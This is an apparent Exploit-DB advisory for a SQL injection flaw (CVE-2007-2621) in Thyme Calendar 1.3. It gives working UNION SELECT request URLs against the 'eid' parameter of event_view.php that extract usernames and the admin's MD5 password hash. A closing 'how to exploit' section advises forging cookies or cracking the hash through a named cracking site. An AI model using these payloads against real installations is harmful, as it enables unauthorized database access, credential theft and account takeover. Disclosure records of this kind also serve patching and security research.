Thyme Calendar 1.3 - Remote SQL Injection Vulnerability

2007-05-10T00:00:00
ID EDB-ID:3895
Type exploitdb
Reporter warlord
Modified 2007-05-10T00:00:00

Description

Thyme Calendar 1.3 Remote SQL Injection Vulnerability. CVE-2007-2621. Webapps exploit for php platform

                                        
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                 ## Thyme Calendar 1.3 SQL Vulnerability Exploit ##
                 ##                  by Warlord                  ##
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                 ##              codehook.110mb.com              ##
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OVERVIEW AND DEFINITION
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A vulnerability in exists in Thyme Calendar 1.3 (and possibly lower 
versions) which
allows execution of a custom SQL query.

The vulnerability exists in event_view.php, because the 'eid' field is not 
properly
validated. An attacker could exploit the vulnerabilit with the following 
request:


http://sitename/thyme_directory/event_view.php?eid=34 UNION SELECT userid 
FROM thyme_Users


Where 'sitename' is the name of the site, and 'thyme_directory' is the 
directory in which
Thyme is located.

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SQL QUERY
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The SQL query originally looks like this:


SELECT id FROM thyme_Attachments WHERE eid = 34


But by changing the 'eid' field we get a query that looks like this:


SELECT id FROM thyme_Attachments WHERE eid = 34 UNION SELECT userid FROM 
thyme_Users

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RESULT OF NEW QUERY
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The result is that the query sends back all the userid's (actually 
usernames) from the
database instead of the 'id' from thyme_Attachments. You will be able to 
grab the userid's
from the HTML source by searching for 'aid=' as this is where the attachment 
id is
supposed to go. For example:

http://sitename/thyme_directory/download_attachment.php?aid=admin

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GETTING PASSWORDS
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And the password (md5'd) can be obtained in the same fashion:

http://sitename/thyme_directory/event_view.php?eid=34 UNION SELECT pass FROM 
thyme_Users
WHERE username = "admin"

In the HTML source:

http://sitename/thyme_directory/download_attachment.php?aid=9ab1c5afa4946ca0030271736f38c83a

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HOW TO EXPLOIT
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Cookies should be modifiable. If not, crack the md5!

http://md5.rednoize.com

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